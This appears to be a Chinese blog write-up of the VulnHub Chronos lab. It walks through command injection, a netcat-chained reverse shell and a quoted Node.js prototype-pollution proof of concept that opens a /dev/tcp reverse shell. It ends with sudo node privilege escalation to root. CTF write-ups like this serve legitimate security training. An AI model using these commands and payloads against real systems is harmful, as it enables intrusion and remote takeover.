打靶记录3——靶机Chronos

靶机下载地址在Vlunhub

https://www.vulnhub.com/entry/chronos-1,735/

目标

取得两个flag和root权限

涉及的攻击方法

  • 端口扫描
  • Web侦查
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
  • 代码审计
  • NC串联
  • 本地提权

靶机和Kali都设置了桥接模式,并和网卡设置在同一网段

主机发现

可以用netdiscover或者arp-scan,多尝试几种方法总是好的
image.png
image.png

端口发现和服务发现

image.png
访问一下80端口的Web服务,发现写着Date&Time,可能是提示和时间有关
image.png
Ctrl+U查看源代码,发现一串URL
image.png
发现Format参数里的东西很像Base编码,使用Cyberchef的Magic模块解码
image.png
再观察前面的chronos.local,local是本地的意思,我们需要进行域名解析
image.png
那么修改我们Kali 的hosts文件,
image.png
然后刷新一下Web页面,看看是否解析成功并能访问到服务器的资源
image.png
看起来是和前面的date一起执行命令,那么我们利用命令注入漏洞来反弹shell,直接使用hackbar来发包,但是需要将User-Agent改成Chronos,否则会显示Permission Denied
image.png
image.png
但是我电脑有问题,我还是用BurpSuite吧
image.png
成功执行命令
image.png
那么我们直接用NC串联来反弹shell,因为它的NC版本比较低,没有-e参数

;nc 192.168.0.120 4444 | /bin/bash | nc 192.168.0.120 5555

Base58编码,传给BurpSuite发包,虽然提示Something went wrong,但是不影响成功反弹shell
image.png
image.png
执行 id 命令成功
image.png
接下来进行信息收集
image.png
image.png
没有办法了,接下来使用搜索大法,还有快速学习的能力
参考博客链接:

利用作者给的POC的Python脚本,获得一个新的shell

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
 
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://p6.is:7777')

现在Kali本机编辑一下exp.py,然后开启HTTP服务,等一下上传到靶机上,再执行脚本
image.png
用wget下载,然后用python3执行,因为exp脚本使用python3写的,看None, f"x;console.log(1);process中的 f就能发现是python3
image.png
运行python脚本

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.120/6666 0>&1"'
 
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://127.0.0.1:8080')

image.png
image.png

sudo 提权

image.png
发现 npm 和 node 可以不需要密码来用root执行,我们可以尝试通过它们来获取root的shell
提权方法网址:https://gtfobins.github.io/gtfobins/node/
image.png

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

image.png
成功获得root权限!
还有两个flag
image.png

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

彩蛋

image.png
image.png

总结

  1. 按照惯例先进行了主机发现,端口扫描,应用发现
  2. 在Web界面发现奇怪的域名,于是进行了域名的绑定,查看到页面当中的变化,于是通过页面源码的分析找出了这段JavaScript的脚本,从中发现了经过Base58编码的字符
  3. 通过对这段字符的还原内容的分析,发现了命令注入的漏洞,进而通过Base58编码我们的注入命令对目标系统进行了一系列的命令注入的漏洞,进而利用这样的命令执行漏洞
  4. 进而通过NC获得了一个反弹的shell,用NC串联的方式,结合管道来实现的
  5. 提权的过程中遇到很多困难,最终发现了Node js当中的框架的漏洞,感谢开源社区
  6. 通过代码审计发现了目标系统用了哪些模块,代码审计是很重要的一环
  7. 彩蛋:很高兴见到你
  • 20
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值